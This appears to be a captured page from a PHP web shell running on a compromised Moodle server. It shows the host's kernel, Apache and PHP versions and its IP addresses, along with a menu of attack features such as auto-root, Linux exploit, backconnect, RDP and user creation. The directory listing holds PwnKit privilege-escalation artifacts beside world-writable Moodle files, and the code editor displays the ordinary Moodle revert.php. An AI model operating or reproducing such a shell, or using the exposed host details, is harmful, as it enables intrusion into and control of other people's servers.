Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.1
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
admin /
tool /
filetypes /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
classes
[ DIR ]
drwxrwxrwx
lang
[ DIR ]
drwxrwxrwx
tests
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
delete.php
2.08
KB
-rwxrwxrwx
edit.php
3.85
KB
-rwxrwxrwx
edit_form.php
6.06
KB
-rwxrwxrwx
index.php
1.63
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
renderer.php
8.41
KB
-rwxrwxrwx
revert.php
2.09
KB
-rwxrwxrwx
settings.php
1.14
KB
-rwxrwxrwx
styles.css
648
B
-rwxrwxrwx
version.php
997
B
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : revert.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Resets a file type to the default Moodle values. * * @package tool_filetypes * @copyright 2014 The Open University * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ require(__DIR__ . '/../../../config.php'); require_once($CFG->libdir . '/adminlib.php'); admin_externalpage_setup('tool_filetypes'); $extension = required_param('extension', PARAM_ALPHANUMEXT); $redirecturl = new \moodle_url('/admin/tool/filetypes/index.php'); if (optional_param('revert', 0, PARAM_INT)) { require_sesskey(); // Reset the file type in config. core_filetypes::revert_type_to_default($extension); redirect($redirecturl); } // Page settings. $title = get_string('revertfiletype', 'tool_filetypes'); $context = context_system::instance(); $PAGE->set_url(new \moodle_url('/admin/tool/filetypes/revert.php', array('extension' => $extension))); $PAGE->navbar->add($title); $PAGE->set_context($context); $PAGE->set_pagelayout('admin'); $PAGE->set_title($SITE->fullname. ': ' . $title); // Display the page. echo $OUTPUT->header(); $message = get_string('revert_confirmation', 'tool_filetypes', $extension); $reverturl = new \moodle_url('revert.php', array('extension' => $extension, 'revert' => 1)); $yesbutton = new single_button($reverturl, get_string('yes')); $nobutton = new single_button($redirecturl, get_string('no'), 'get'); echo $OUTPUT->confirm($message, $yesbutton, $nobutton); echo $OUTPUT->footer();
Close